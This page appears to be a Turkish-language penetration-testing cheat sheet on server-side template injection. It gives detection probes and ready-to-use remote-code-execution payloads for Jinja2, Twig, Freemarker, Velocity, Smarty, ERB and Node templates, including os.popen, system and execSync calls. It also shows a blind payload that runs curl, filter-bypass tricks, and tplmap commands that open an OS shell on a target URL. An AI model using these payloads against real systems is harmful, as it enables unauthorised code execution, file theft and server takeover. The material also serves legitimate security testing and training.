Skip to content

Server-Side Template Injection (SSTI)

RCE difficulty: orta-zor

Server-Side Template Injection (SSTI), kullanıcı girdisinin bir şablon motoruna şablon olarak (veri olarak değil) verilmesiyle oluşur. Saldırgan şablon sözdizimi enjekte ederek sunucuda ifade değerlendirtebilir; çoğu motorda bu uzaktan kod çalıştırmaya (RCE) kadar yükseltilebilir.

  • Hata sayfaları, e-posta şablonları, PDF/invoice render
  • “Theme”, “signature”, “welcome message” gibi kullanıcıya özel metinler
  • {{name}} benzeri placeholder’ların sunucuda işlendiği her yer
  • Jinja2/Flask, Twig/Symfony, Freemarker/Java, Velocity, Pebble, Smarty, ERB

Matematiksel bir ifade enjekte edip değerlendirilip değerlendirilmediğine bak:

${7*7} {{7*7}} <%= 7*7 %> #{7*7} ${{7*7}} {7*7}
*{7*7}* @{7*7} {{7*'7'}}

49 (veya motora özgü 7777777) dönüyorsa SSTI var.

{{7*'7'}} → Jinja2: 7777777 | Twig: 49
{{7*'7'}} → Twig 1.x / 2.x farkları için ek testler
${7*7} → Freemarker / Velocity / Spring EL / Thymeleaf
#{7*7} → Ruby EL / some Java
<%= 7*7 %> → ERB / ASP tarzı
{{constructor.constructor('return this')()}} → JS template (Node)

PortSwigger karar ağacı: önce {{ }} vs ${ } vs <%= %>, sonra motora özel.

# Jinja2 (Python / Flask)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Jinja2 sandbox bypass (örnek kalıp — sürüme bağlı)
{% for x in ().__class__.__base__.__subclasses__() %}
...
{% endfor %}
# Twig (PHP)
{{ ['id']|filter('system') }}
{{ ['id']|map('system')|join }}
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
${"freemarker.template.utility.Execute"?new()("id")}
# Velocity (Java) — Runtime.exec zinciri
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
...
# Smarty (PHP)
{system('id')}
{php}echo `id`;{/php}
# ERB (Ruby)
<%= system('id') %>
<%= `id` %>
# Node (Handlebars/Pug zayıf config / JS eval templates)
{{constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()}}

tplmap · SSTI

embedded tool
Generated command
tplmap -u https://hedef/page?name=test -d name
  1. Tetikle — girdinin yansıdığı her alanda polyglot ifade dene; 49 görürsen şablon değerlendiriliyordur. Blind ise time/OAST: {{config.__class__.__init__.__globals__['os'].popen('curl x').read()}}

  2. Motoru tespit et — karar ağacı + hata mesajları (Twig/Jinja stack).

  3. Nesne grafiğini keşfet — Python:

    {{ ''.__class__.__mro__ }}
    {{ ''.__class__.__mro__[1].__subclasses__() }}
  4. RCE’ye yükselt — os / Runtime / system erişimi bul; sandbox varsa bilinen bypass gadget’larını dene.

  5. Etkiyi kanıtla — id / whoami , sonra outbound veya dosya okuma.

# Süslü parantez engeli — alternatif sözdizimi
${7*7} vs {{7*7}}
# Nokta engeli (Jinja)
{{ request['application'] }}
# Underscore engeli — attr / [] erişimi
{{ request|attr('application') }}
Terminal window
tplmap -u 'https://hedef/page?name=John' --os-shell
{{7*7}} / ${7*7} yansıyor
→ motor parmak izi (Jinja / Twig / Freemarker)
→ RCE payload (config/os/popen veya Object constructor)
→ reverse shell / dosya okuma
E-posta şablonu SSTI (blind)
→ time-based / OAST (collaborator URL in payload)
→ confirm → RCE
□ {{7*7}} ${7*7} #{7*7}<%= 7*7 %>
□ Hata sayfası / PDF / mail / welcome message sink
□ Motor fingerprint sonra RCE
□ Blind: sleep / DNS OAST
□ Filtre: attr[], request['application']